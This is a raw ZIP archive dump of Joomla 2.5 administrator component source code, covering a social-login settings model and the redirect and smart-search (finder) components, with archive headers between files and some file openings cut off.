$db->setQuery ($sql); $db->query (); //Insert new settings foreach ($settings as $k => $v) { $sql = "INSERT INTO #__oasl_settings ( setting, value )" . " VALUES ( " . $db->Quote ($k) . ", " . $db->Quote ($v) . " )"; $db->setQuery ($sql); $db->query (); } } /** * Read Settings */ public function getSettings () { //Container $settings = array (); //Get database handle $db = $this->getDbo (); //Read settings $sql = "SELECT * FROM #__oasl_settings"; $db->setQuery ($sql); $rows = $db->LoadAssocList (); if (is_array ($rows)) { foreach ($rows AS $key => $data) { if ($data['setting'] == 'providers') { $tmp = @unserialize ($data ['value']); if (is_array ($tmp)) { $settings [$data['setting']] = $tmp; } else { $settings [$data['setting']] = array(); } } else { $settings [$data['setting']] = $data ['value']; } } } return $settings; } /** * Insert a given setting */ public function setSetting ($key, $value) { //Get database handle $db = $this->getDbo (); //Delete setting $sql = "DELETE FROM #__oasl_settings WHERE setting = " . $db->Quote ($key) . ""; $db->setQuery ($sql); $db->query (); //Insert new value $sql = "INSERT INTO #__oasl_settings ( setting, value )" . " VALUES ( " . $db->Quote ($key) . ", " . $db->Quote ($value) . " )"; $db->setQuery ($sql); $db->query (); } }PK@y>\://,components/com_sociallogin/models/index.htmlnuW+A PK@y>\)+components/com_sociallogin/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,%components/com_sociallogin/index.htmlnuW+APK@y>\V)components/com_redirect/models/index.htmlnuW+A PK@y>\V/components/com_redirect/models/forms/index.htmlnuW+A PK@y>\nʈy55-components/com_redirect/models/forms/link.xmlnuW+A
      PK@y>\).components/com_redirect/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)(components/com_redirect/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\a  (components/com_redirect/models/links.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_redirect'); $this->setState('params', $params); // List state information. parent::populateState('a.old_url', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__redirect_links').' AS a'); // Filter by published state $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } elseif ($state === '') { $query->where('(a.published IN (0,1,2))'); } // Filter the items over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where( '('.$db->quoteName('old_url').' LIKE '.$search . ' OR '.$db->quoteName('new_url').' LIKE '.$search . ' OR '.$db->quoteName('comment').' LIKE '.$search . ' OR '.$db->quoteName('referer').' LIKE '.$search.')' ); } } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.old_url')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\>'components/com_redirect/models/link.phpnuW+Apublished != -2) { return false; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_redirect'); } /** * Method to test whether a record can have its state edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check the component since there are no categories or other assets. return $user->authorise('core.edit.state', 'com_redirect'); } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Link', $prefix = 'RedirectTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_redirect.link', 'link', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on access controls. if ($this->canEditState((object) $data) != true) { // Disable fields for display. $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_redirect.edit.link.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to activate links. * * @param array An array of link ids. * @param string The new URL to set for the redirect. * @param string A comment for the redirect links. * @return boolean Returns true on success, false on failure. * @since 1.6 */ public function activate(&$pks, $url, $comment = null) { // Initialise variables. $user = JFactory::getUser(); $db = $this->getDbo(); // Sanitize the ids. $pks = (array) $pks; JArrayHelper::toInteger($pks); // Populate default comment if necessary. $comment = (!empty($comment)) ? $comment : JText::sprintf('COM_REDIRECT_REDIRECTED_ON', JHtml::_('date', time())); // Access checks. if (!$user->authorise('core.edit', 'com_redirect')) { $pks = array(); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED')); return false; } if (!empty($pks)) { // Update the link rows. $db->setQuery( 'UPDATE '.$db->quoteName('#__redirect_links') . ' SET '.$db->quoteName('new_url').' = '.$db->Quote($url).', '.$db->quoteName('published').' = 1, '.$db->quoteName('comment').' = '.$db->Quote($comment) . ' WHERE '.$db->quoteName('id').' IN ('.implode(',', $pks).')' ); $db->query(); // Check for a database error. if ($error = $this->_db->getErrorMsg()) { $this->setError($error); return false; } } return true; } } PK@y>\{;6,components/com_redirect/controllers/link.phpnuW+A\HHLL-components/com_redirect/controllers/links.phpnuW+AgetModel(); JArrayHelper::toInteger($ids); // Remove the items. if (!$model->activate($ids, $newUrl, $comment)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_REDIRECT_N_LINKS_UPDATED', count($ids))); } } $this->setRedirect('index.php?option=com_redirect&view=links'); } /** * Proxy for getModel. * @since 1.6 */ public function getModel($name = 'Link', $prefix = 'RedirectModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\V.components/com_redirect/controllers/index.htmlnuW+A PK@y>\)-components/com_redirect/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\dhYY'components/com_redirect/tables/link.phpnuW+Aold_url = trim($this->old_url); $this->new_url = trim($this->new_url); // Check for valid name. if (empty($this->old_url)) { $this->setError(JText::_('COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED')); return false; } // Check for valid name. if (empty($this->new_url)) { $this->setError(JText::_('COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED')); return false; } // Check for duplicates if ($this->old_url == $this->new_url) { $this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_URLS')); return false; } $db = $this->getDbo(); // Check for existing name $query = 'SELECT id FROM #__redirect_links WHERE old_url ='.$db->Quote($this->old_url); $db->setQuery($query); $xid = intval($db->loadResult()); if ($xid && $xid != intval($this->id)) { $this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_OLD_URL')); return false; } return true; } /** * Overriden store method to set dates. * * @param boolean True to update fields even if they are null. * * @return boolean True on success. * @see JTable::store * @since 1.6 */ public function store($updateNulls = false) { // Initialise variables. $date = JFactory::getDate()->toSql(); if ($this->id) { // Existing item $this->modified_date = $date; } else { // New record. $this->created_date = $date; } return parent::store($updateNulls); } } PK@y>\)(components/com_redirect/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_redirect/tables/index.htmlnuW+A PK@y>\<<&components/com_redirect/controller.phpnuW+AcheckEditId('com_redirect.edit.link', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_redirect&view=links', false)); return false; } parent::display(); } } PK@y>\ᄓ$components/com_redirect/redirect.xmlnuW+A com_redirect Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_REDIRECT_XML_DESCRIPTION Redirect config.xml controller.php index.html redirect.php controllers helpers models tables views language/en-GB.com_redirect.ini language/en-GB.com_redirect.sys.ini PK@y>\l<<$components/com_redirect/redirect.phpnuW+Aauthorise('core.manage', 'com_redirect')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Redirect'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\>sI``"components/com_redirect/config.xmlnuW+A
      PK@y>\Jǀ"components/com_redirect/access.xmlnuW+A
      PK@y>\),components/com_redirect/views/link/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-components/com_redirect/views/link/index.htmlnuW+A PK@y>\w++0components/com_redirect/views/link/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = RedirectHelper::getActions(); JToolBarHelper::title(JText::_('COM_REDIRECT_MANAGER_LINK'), 'redirect'); // If not checked out, can save the item. if ($canDo->get('core.edit')) { JToolBarHelper::apply('link.apply'); JToolBarHelper::save('link.save'); } // This component does not support Save as Copy due to uniqueness checks. // While it can be done, it causes too much confusion if the user does // not change the Old URL. if ($canDo->get('core.edit') && $canDo->get('core.create')) { JToolBarHelper::save2new('link.save2new'); } if (empty($this->item->id)) { JToolBarHelper::cancel('link.cancel'); } else { JToolBarHelper::cancel('link.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT'); } } PK@y>\)1components/com_redirect/views/link/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\$ 0components/com_redirect/views/link/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_REDIRECT_NEW_LINK') : JText::sprintf('COM_REDIRECT_EDIT_LINK', $this->item->id); ?>
      • form->getLabel('old_url'); ?> form->getInput('old_url'); ?>
      • form->getLabel('new_url'); ?> form->getInput('new_url'); ?>
      • form->getLabel('comment'); ?> form->getInput('comment'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('created_date'); ?> form->getInput('created_date'); ?>
      • form->getLabel('modified_date'); ?> form->getInput('modified_date'); ?>
      • form->getLabel('hits'); ?> form->getInput('hits'); ?>
      PK@y>\V2components/com_redirect/views/link/tmpl/index.htmlnuW+A PK@y>\Nxwf f 1components/com_redirect/views/links/view.html.phpnuW+Aenabled = RedirectHelper::isEnabled(); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = RedirectHelper::getActions(); JToolBarHelper::title(JText::_('COM_REDIRECT_MANAGER_LINKS'), 'redirect'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('link.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('link.edit'); } if ($canDo->get('core.edit.state')) { if ($state->get('filter.state') != 2){ JToolBarHelper::divider(); JToolBarHelper::publish('links.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('links.unpublish', 'JTOOLBAR_DISABLE', true); } if ($state->get('filter.state') != -1 ) { JToolBarHelper::divider(); if ($state->get('filter.state') != 2) { JToolBarHelper::archiveList('links.archive'); } elseif ($state->get('filter.state') == 2) { JToolBarHelper::unarchiveList('links.publish', 'JTOOLBAR_UNARCHIVE'); } } } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'links.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('links.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_redirect'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_REDIRECT_MANAGER'); } } PK@y>\V.components/com_redirect/views/links/index.htmlnuW+A PK@y>\)-components/com_redirect/views/links/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)2components/com_redirect/views/links/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\&<components/com_redirect/views/links/tmpl/default_addform.phpnuW+A
      PK@y>\7PP4components/com_redirect/views/links/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_redirect'); $canEdit = $user->authorise('core.edit', 'com_redirect'); $canChange = $user->authorise('core.edit.state', 'com_redirect'); ?>
      pagination->getListFooter(); ?>
      id); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape($item->new_url); ?> escape($item->referer); ?> created_date, JText::_('DATE_FORMAT_LC4')); ?> published, $i); ?> hits; ?> id; ?>
      items)) : ?> loadTemplate('addform'); ?>
      PK@y>\V3components/com_redirect/views/links/tmpl/index.htmlnuW+A PK@y>\)'components/com_redirect/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_redirect/views/index.htmlnuW+A PK@y>\V*components/com_redirect/helpers/index.htmlnuW+A PK@y>\ǧ:,components/com_redirect/helpers/redirect.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function publishedOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '*', 'JALL'); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); $options[] = JHtml::_('select.option', '2', 'JARCHIVED'); $options[] = JHtml::_('select.option', '-2', 'JTRASHED'); return $options; } /** * Determines if the plugin for Redirect to work is enabled. * * @return boolean */ public static function isEnabled() { $db = JFactory::getDbo(); $db->setQuery( 'SELECT enabled' . ' FROM #__extensions' . ' WHERE folder = '.$db->quote('system'). ' AND element = '.$db->quote('redirect') ); $result = (boolean) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } return $result; } } PK@y>\xҎxx1components/com_redirect/helpers/html/redirect.phpnuW+A array('tick.png', 'links.unpublish', 'JENABLED', 'COM_REDIRECT_DISABLE_LINK'), 0 => array('publish_x.png', 'links.publish', 'JDISABLED', 'COM_REDIRECT_ENABLE_LINK'), 2 => array('disabled.png', 'links.unpublish', 'JARCHIVED', 'JUNARCHIVE'), -2 => array('trash.png', 'links.publish', 'JTRASHED', 'COM_REDIRECT_ENABLE_LINK'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html.''; } return $html; } } PK@y>\).components/com_redirect/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_redirect/helpers/html/index.htmlnuW+A PK@y>\))components/com_redirect/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V"components/com_redirect/index.htmlnuW+A PK@y>\)!components/com_redirect/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)components/com_finder/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)+components/com_finder/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6,components/com_finder/controllers/index.htmlnuW+APK@y>\M-components/com_finder/controllers/filters.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\YZ$$2components/com_finder/controllers/indexer.json.phpnuW+Aget('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // Log the start JLog::add('Starting the indexer', JLog::INFO); // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Reset the indexer state. FinderIndexer::resetState(); // Import the finder plugins. JPluginHelper::importPlugin('finder'); // Add the indexer language to JS JText::script('COM_FINDER_AN_ERROR_HAS_OCCURRED'); JText::script('COM_FINDER_NO_ERROR_RETURNED'); // Start the indexer. try { // Trigger the onStartIndex event. JDispatcher::getInstance()->trigger('onStartIndex'); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 1; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { $this->sendResponse($e); } } /** * Method to run the next batch of content through the indexer. * * @return void * * @since 2.5 */ public function batch() { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // Log the start JLog::add('Starting the indexer batch process', JLog::INFO); // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Remove the script time limit. @set_time_limit(0); // Get the indexer state. $state = FinderIndexer::getState(); // Reset the batch offset. $state->batchOffset = 0; // Update the indexer state. FinderIndexer::setState($state); // Import the finder plugins. JPluginHelper::importPlugin('finder'); /* * We are going to swap out the raw document object with an HTML document * in order to work around some plugins that don't do proper environment * checks before trying to use HTML document functions. */ $raw = clone(JFactory::getDocument()); $lang = JFactory::getLanguage(); // Get the document properties. $attributes = array ( 'charset' => 'utf-8', 'lineend' => 'unix', 'tab' => ' ', 'language' => $lang->getTag(), 'direction' => $lang->isRTL() ? 'rtl' : 'ltr' ); // Get the HTML document. $html = JDocument::getInstance('html', $attributes); $doc = JFactory::getDocument(); // Swap the documents. $doc = $html; // Get the admin application. $admin = clone(JFactory::getApplication()); // Get the site app. include_once JPATH_SITE . '/includes/application.php'; $site = JApplication::getInstance('site'); // Swap the app. $app = JFactory::getApplication(); $app = $site; // Start the indexer. try { // Trigger the onBeforeIndex event. JDispatcher::getInstance()->trigger('onBeforeIndex'); // Trigger the onBuildIndex event. JDispatcher::getInstance()->trigger('onBuildIndex'); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 0; $state->complete = 0; // Swap the documents back. $doc = $raw; // Swap the applications back. $app = $admin; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { // Swap the documents back. $doc = $raw; // Send the response. $this->sendResponse($e); } } /** * Method to optimize the index and perform any necessary cleanup. * * @return void * * @since 2.5 */ public function optimize() { // We don't want this form to be cached. header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Expires: -1'); // Check for a valid token. If invalid, send a 403 with the error message. JSession::checkToken('request') or $this->sendResponse(new Exception(JText::_('JINVALID_TOKEN'), 403)); // Put in a buffer to silence noise. ob_start(); // Import the finder plugins. JPluginHelper::importPlugin('finder'); try { // Optimize the index. FinderIndexer::optimize(); // Get the indexer state. $state = FinderIndexer::getState(); $state->start = 0; $state->complete = 1; // Send the response. $this->sendResponse($state); } // Catch an exception and return the response. catch (Exception $e) { $this->sendResponse($e); } } /** * Method to handle a send a JSON response. The body parameter * can be a Exception object for when an error has occurred or * a JObject for a good response. * * @param mixed $data JObject on success, Exception on error. [optional] * * @return void * * @since 2.5 */ public static function sendResponse($data = null) { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } $backtrace = null; // Send the assigned error code if we are catching an exception. if ($data instanceof Exception) { JLog::add($data->getMessage(), JLog::ERROR); JResponse::setHeader('status', $data->getCode()); JResponse::sendHeaders(); } // Create the response object. $response = new FinderIndexerResponse($data); // Add the buffer. $response->buffer = JDEBUG ? ob_get_contents() : ob_end_clean(); // Send the JSON response. echo json_encode($response); // Close the application. JFactory::getApplication()->close(); } } /** * Finder Indexer JSON Response Class * * @package Joomla.Administrator * @subpackage com_finder * @since 2.5 */ class FinderIndexerResponse { /** * Class Constructor * * @param mixed $state The processing state for the indexer * * @since 2.5 */ public function __construct($state) { static $log; $params = JComponentHelper::getParams('com_finder'); if ($params->get('enable_logging', '0')) { if ($log == null) { $options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}'; $options['text_file'] = 'indexer.php'; $log = JLog::addLogger($options); } } // The old token is invalid so send a new one. $this->token = JFactory::getSession()->getFormToken(); // Check if we are dealing with an error. if ($state instanceof Exception) { // Log the error JLog::add($state->getMessage(), JLog::ERROR); // Prepare the error response. $this->error = true; $this->header = JText::_('COM_FINDER_INDEXER_HEADER_ERROR'); $this->message = $state->getMessage(); } else { // Prepare the response data. $this->batchSize = (int) $state->batchSize; $this->batchOffset = (int) $state->batchOffset; $this->totalItems = (int) $state->totalItems; $this->startTime = $state->startTime; $this->endTime = JFactory::getDate()->toSQL(); $this->start = !empty($state->start) ? (int) $state->start : 0; $this->complete = !empty($state->complete) ? (int) $state->complete : 0; // Set the appropriate messages. if ($this->totalItems <= 0 && $this->complete) { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_COMPLETE'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_COMPLETE'); } elseif ($this->totalItems <= 0) { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_OPTIMIZE'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_OPTIMIZE'); } else { $this->header = JText::_('COM_FINDER_INDEXER_HEADER_RUNNING'); $this->message = JText::_('COM_FINDER_INDEXER_MESSAGE_RUNNING'); } } } } // Register the error handler. JError::setErrorHandling(E_ALL, 'callback', array('FinderControllerIndexer', 'sendResponse')); PK@y>\h̀,components/com_finder/controllers/filter.phpnuW+Ainput; $lang = JFactory::getLanguage(); $model = $this->getModel(); $table = $model->getTable(); $data = $input->post->get('jform', array(), 'array'); $checkin = property_exists($table, 'checked_out'); $context = "$this->option.edit.$this->context"; $task = $this->getTask(); // Determine the name of the primary key for the data. if (empty($key)) { $key = $table->getKeyName(); } // To avoid data collisions the urlVar may be different from the primary key. if (empty($urlVar)) { $urlVar = $key; } $recordId = $input->get($urlVar, '', 'int'); $session = JFactory::getSession(); $registry = $session->get('registry'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and tried to save it. We don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); return false; } // Populate the row id from the session. $data[$key] = $recordId; // The save2copy task needs to be handled slightly differently. if ($task == 'save2copy') { // Check-in the original row. if ($checkin && $model->checkin($data[$key]) === false) { // Check-in failed. Go back to the item and display a notice. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $urlVar)); return false; } // Reset the ID and then treat the request as for Apply. $data[$key] = 0; $task = 'apply'; } // Access check. if (!$this->allowSave($data, $key)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); return false; } // Validate the posted data. // Sometimes the form needs some posted data, such as for plugins and modules. $form = $model->getForm($data, false); if (!$form) { $app->enqueueMessage($model->getError(), 'error'); return false; } // Test whether the data is valid. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if (($errors[$i]) instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState($context . '.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); return false; } // Get and sanitize the filter data. $validData['data'] = $input->post->get('t', array(), 'array'); $validData['data'] = array_unique($validData['data']); JArrayHelper::toInteger($validData['data']); // Remove any values of zero. if (array_search(0, $validData['data'], true)) { unset($validData['data'][array_search(0, $validData['data'], true)]); } // Attempt to save the data. if (!$model->save($validData)) { // Save the data in the session. $app->setUserState($context . '.data', $validData); // Redirect back to the edit screen. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); return false; } // Save succeeded, so check-in the record. if ($checkin && $model->checkin($validData[$key]) === false) { // Save the data in the session. $app->setUserState($context . '.data', $validData); // Check-in failed, so go back to the record and display a notice. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key)); return false; } $this->setMessage( JText::_( ($lang->hasKey($this->text_prefix . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS') ? $this->text_prefix : 'JLIB_APPLICATION') . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS' ) ); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the record data in the session. $recordId = $model->getState($this->context . '.id'); $this->holdEditId($context, $recordId); $app->setUserState($context . '.data', null); $model->checkout($recordId); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)); break; case 'save2new': // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context . '.data', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(null, $key), false)); break; default: // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context . '.data', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); break; } // Invoke the postSave method to allow for the child class to access the model. $this->postSaveHook($model, $validData); return true; } } PK@y>\G;*components/com_finder/controllers/maps.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\e+components/com_finder/controllers/index.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Method to purge all indexed links from the database. * * @return boolean True on success. * * @since 2.5 */ public function purge() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Remove the script time limit. @set_time_limit(0); // Initialize variables. $model = $this->getModel('Index', 'FinderModel'); // Attempt to purge the index. $return = $model->purge(); if (!$return) { $message = JText::_('COM_FINDER_INDEX_PURGE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_finder&view=index', $message); return false; } else { $message = JText::_('COM_FINDER_INDEX_PURGE_SUCCESS'); $this->setRedirect('index.php?option=com_finder&view=index', $message); return true; } } } PK@y>\BTZZ'components/com_finder/tables/filter.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Method to perform sanity checks on the JTable instance properties to ensure * they are safe to store in the database. Child classes should override this * method to make sure the data they are storing in the database is safe and * as expected before storage. * * @return boolean True if the instance is sane and able to be stored in the database. * * @since 2.5 */ public function check() { if (trim($this->alias) == '') { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format('Y-m-d-H-i-s'); } // Check the end date is not earlier than start up. if ($this->d2 > $this->_db->getNullDate() && $this->d2 < $this->d1) { // Swap the dates. $temp = $this->d1; $this->d1 = $this->d2; $this->d2 = $temp; } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed $pks An array of primary key values to update. If not 